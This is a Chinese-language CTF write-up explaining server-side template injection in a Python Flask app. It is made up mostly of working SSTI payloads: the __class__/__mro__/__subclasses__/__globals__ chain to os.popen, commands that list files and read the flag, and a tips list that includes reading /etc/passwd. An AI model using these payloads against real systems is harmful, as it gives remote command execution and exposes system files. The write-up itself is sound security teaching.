Web_python_template_injection

解题思路：

- 首先看到题目，就知道这道题是关于 **模板注入** 的，什么是模板注入呢？

    - 为了写 html 代码的时候方便，很多网站都会使用模板，先写好一个 html 模板文件，比如：

    ```python
    def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)
    ```

    这段代码中的 `html` 就是一个简单的模板文件，当开发者想要这个模板对应的样式时，可以直接用 `render_template_string` 方法来调用这个模板，从而直接把这个样式渲染出来。

    而模板注入，就是指 **将一串指令代替变量传入模板中让它执行** ，以这段代码为例，我们在传入 `code` 值时，可以用 `{{}}` 符号来包裹一系列代码，以此替代本应是参数的 `id` ：

    ```
    http://..../?id={{代码}}
    ```

- 知道了什么是模板文件，接下来开始模板注入环节：

    首先，先测试一下是不是确实能注入，构造一个简单的测试 url：

    `http://111.198.29.45:46675/{{7*7}}`

    服务器回传：

    `URL http://111.198.29.45:46675/49 not found`

    `/49` 的存在说明 `7*7` 这条指令被忠实地执行了。

    接下来，开始想办法编代码拿到服务器的控制台权限：

- 首先，题目告诉我们这是一个 python 注入问题，那么脚本肯定也是 python 的，思考怎样用 python 语句获取控制台权限：想到了 `os.system` 和 `os.popen` ([参考资料](https://blog.csdn.net/sxingming/article/details/52071514))，这两句前者返回 **退出状态码** ，后者 **以 file 形式** 返回 **输出内容**，我们想要的是内容，所所以选择 `os.popen` 。

- 知道了要用这一句，那么我要怎么找到这一句呢？python 给我们提供了完整的寻找链([参考资料](https://www.cnblogs.com/tr1ple/p/9415641.html))：

    - __class__ ： 返回对象所属的类

      __mro__ ： 返回一个类所继承的基类元组，方法在解析时按照元组的顺序解析。

      __base__ ： 返回该类所继承的基类

      // __base__和__mro__都是用来寻找基类的

      __subclasses__ ： 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表

      __init__ ： 类的初始化方法

      __globals__ ： 对包含函数全局变量的字典的引用

- 首先，找到当前变量所在的类：

    `111.198.29.45:46675/%7B%7B''.__class__%7D%7D`

    服务器回复：

    `URL http://111.198.29.45:46675/<type 'str'> not found`

    发现这个回复里已经告诉我们 这个变量的类是 'str' 了。

- 接下来，从这个类找到它的基类：

    `http://111.198.29.45:46675/%7B%7B''.__class__.__mro__%7D%7D`

    服务器回复：

    `URL http://111.198.29.45:46675/(<type 'str'>, <type 'basestring'>, <type 'object'>) not found`

发现基类也有了。

- 然后，通过基类来找其中任意一个基类的引用列表：

`http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D`

这里有个小细节，`__mro__[]` 中括号里填谁其实区别都不大，这些基类引用的东西都一样。

服务器回复了很长的一个列表，我就不列举了，从其中可以找到我们想要的 `os` 所在的 `site._Printer` 类，它在列表的第七十二位，即 `__subclasses__()[71]` 。

- 通过 `__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()` 来 **调用服务器的控制台** **并显示** ，这下我们就可以随便用控制台输出了。

直接填命令语句：

`http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D`

注意这里的 `popen('ls').read()` ,意思是 **得到 ls 的结果并读取给变量** ，因此它会把当前目录所有文件都打印在我们的网页上，内容如下：

`URL http://111.198.29.45:46675/fl4g index.py not found`

从这里我们看到，flag 存在一个叫 `fl4g` 的无后缀文件里，那就好办了，再构造一个 payload，用 `cat` 读一下内容：

`http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D`

服务器回复：

`URL http://111.198.29.45:46675/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found`

flag 到手~

注意事项：

- ```python
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
    ```

    以上 payload 是一个非常常用的 payload，同样常用的还有

    ```python
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    ```

    和

    ```python
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    ```
    ```